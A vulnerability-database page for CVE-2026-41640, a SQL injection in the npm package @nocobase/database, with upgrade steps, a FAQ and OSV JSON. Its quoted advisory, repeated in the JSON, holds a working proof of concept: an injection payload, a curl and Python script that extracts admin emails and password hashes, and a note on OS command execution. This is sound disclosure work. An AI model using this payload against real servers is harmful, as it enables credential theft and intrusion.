Vulnerabilities in pkg:npm/@nocobase/database

PACKAGE
Advisory Identifier: GHSA-4948-f92q-f432
Advisory Summary

CVE-2026-41640 is a HIGH (CVSS 7.5) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting @nocobase/database libraries in the npm ecosystem. The issue involves @nocobase/database has sql injection via string concatenation through recursive eager loading. Remediation is available by upgrading affected packages to version 2.0.39.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@nocobase/database

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@nocobase/database. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-4948-f92q-f432 CVE-2026-41640 HIGH @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

CVE-2026-41640 at a Glance

CVE Identifier CVE-2026-41640
GHSA Identifier GHSA-4948-f92q-f432
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product @nocobase/database
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41640

To remediate this vulnerability, upgrade all affected @nocobase/database dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nocobase/database fixed: 2.0.39
npm install @nocobase/database@2.0.39
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nocobase/database

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41640, inspect your project dependencies using npm:

npm ls @nocobase/database

Analyze the terminal output to locate any version of @nocobase/database in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.39), your application is affected.

Note: The npm ls @nocobase/database command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In @nocobase/database, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. **Affected component:** `@nocobase/database` (core) **Affected versions:** <= 2.0.32 (confirmed) **Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys ## Vulnerable Code `packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84` ```javascript const queryParentSQL = (options: { db: Database; nodeIds: any[]; collection: Collection; foreignKey: string; targetKey: string; }) => { const { collection, db, nodeIds } = options; const tableName = collection.quotedTableName(); const { foreignKey, targetKey } = options; const foreignKeyField = collection.model.rawAttributes[foreignKey].field; const targetKeyField = collection.model.rawAttributes[targetKey].field; const queryInterface = db.sequelize.getQueryInterface(); const q = queryInterface.quoteIdentifier.bind(queryInterface); return `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION UNION ALL SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)} FROM ${tableName} AS t INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)} ) SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`; }; ``` This function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist: ```javascript // eager-loading-tree.ts:382-395 if (node.includeOption.recursively && instances.length > 0) { const targetKey = association.targetKey; const sql = queryParentSQL({ db: this.db, collection, foreignKey, targetKey, nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows }); const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction }); } ``` ## PoC The payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact. ``` Injection ID value: root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1 Generated SQL (3 valid UNION ALL branches): WITH RECURSIVE cte AS ( SELECT "id", "parentId" FROM "table" WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1') UNION ALL SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId" ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte The CAST-to-integer triggers a runtime error whose message contains the subquery result. ``` ```bash TOKEN="<jwt_token>" # 1. Create tree collection with string PKs curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[ {"name":"id","type":"string","primaryKey":true,"interface":"input"}, {"name":"title","type":"string","interface":"input"}, {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true}, {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true} ]}' # 2. Create safe root curl -s http://TARGET:13000/api/vuln_tree:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"id":"root","title":"Root"}' # 3. Create injection parent — error-based extraction of admin email python3 -c " import requests, json headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'} payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\" requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': payload_id, 'title': 'x'}) requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payload_id}) r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'}) print(json.dumps(r.json(), indent=2)) " # Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]} # ^^^^^^^^^^^^^^^^^^^^^^^ # Exfiltrated data in error message ``` **Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):** | Subquery | Extracted Value | |----------|----------------| | `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` | | `SELECT current_database()` | `nocobase` | | `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` | | `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` | | `SELECT string_agg(email\|\|':'||substring(password,1,16), ' \| ') FROM users` | `admin@nocobase.com:006af6756e96 \| member@nocobase.com:4653e80e3cbf` | ## Impact - **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes). - **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries. - **Availability:** Resource-exhaustive queries or destructive DDL. - **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution. - **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`. ## Fix Suggestion 1. **Use parameterized queries.** Replace the string concatenation with bind parameters: ```javascript const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds }; ``` Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`. 2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`. 3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `"`, `;`, `--`) in string-type primary key fields.

CVE-2026-41640 Affected @nocobase/database Versions

1 component(s)
Fixed Versions:
2.0.39
Product / Package Ecosystem Affected Versions Fixed Version
@nocobase/database
npm
< 2.0.39
2.0.39

References

Frequently Asked Questions

What is CVE-2026-41640?
CVE-2026-41640 is a security vulnerability in @nocobase/database involving @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which @nocobase/database versions are affected?
Affected versions include releases prior to 2.0.39 across affected packages: @nocobase/database.
What version fixes CVE-2026-41640?
Upgrading to 2.0.39 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nocobase/database affected?
Yes, @nocobase/database is affected in releases prior to 2.0.39. Upgrade your dependency to 2.0.39 or later.
What is the CVSS score of CVE-2026-41640?
CVE-2026-41640 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-41640?
CVE-2026-41640 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check npm dependencies for CVE-2026-41640?
Run the dependency tree command: 'npm ls @nocobase/database'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4948-f92q-f432",
  "modified" : "2026-05-08T19:55:14Z",
  "published" : "2026-04-22T20:09:02Z",
  "aliases" : [ "CVE-2026-41640" ],
  "summary" : "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading",
  "details" : "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n  db: Database;\n  nodeIds: any[];\n  collection: Collection;\n  foreignKey: string;\n  targetKey: string;\n}) => {\n  const { collection, db, nodeIds } = options;\n  const tableName = collection.quotedTableName();\n  const { foreignKey, targetKey } = options;\n  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n  const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n  const queryInterface = db.sequelize.getQueryInterface();\n  const q = queryInterface.quoteIdentifier.bind(queryInterface);\n  return `WITH RECURSIVE cte AS (\n      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n      FROM ${tableName}\n      WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}')  // <-- INJECTION\n      UNION ALL\n      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n      FROM ${tableName} AS t\n      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n      )\n      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n    const targetKey = association.targetKey;\n    const sql = queryParentSQL({\n        db: this.db, collection, foreignKey, targetKey,\n        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n    });\n    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n  WITH RECURSIVE cte AS (\n    SELECT \"id\", \"parentId\" FROM \"table\"\n    WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')\n    UNION ALL\n    SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n  ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"<jwt_token>\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n    {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n    {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n    {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n    {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n  ]}'\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"id\":\"root\",\"title\":\"Root\"}'\n\n# 3. Create injection parent — error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}\npayload_id = \\\"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\\\"\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n    json={'id': payload_id, 'title': 'x'})\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n    json={'id': 'child', 'title': 'c', 'parentId': payload_id})\nr = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,\n    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^\n#                                                             Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|':'||substring(password,1,16), ' \\| ') FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n   ```javascript\n   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n   const sql = `WITH RECURSIVE cte AS (\n       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n       FROM ${tableName}\n       WHERE ${q(targetKeyField)} IN (${placeholders})\n       UNION ALL\n       ...\n   ) SELECT ... FROM cte`;\n   return { sql, bind: nodeIds };\n   ```\n   Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nocobase/database"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.39"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41640"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/pull/9133"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nocobase/nocobase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T20:09:02Z",
    "nvd_published_at" : "2026-05-07T04:16:28Z"
  }
}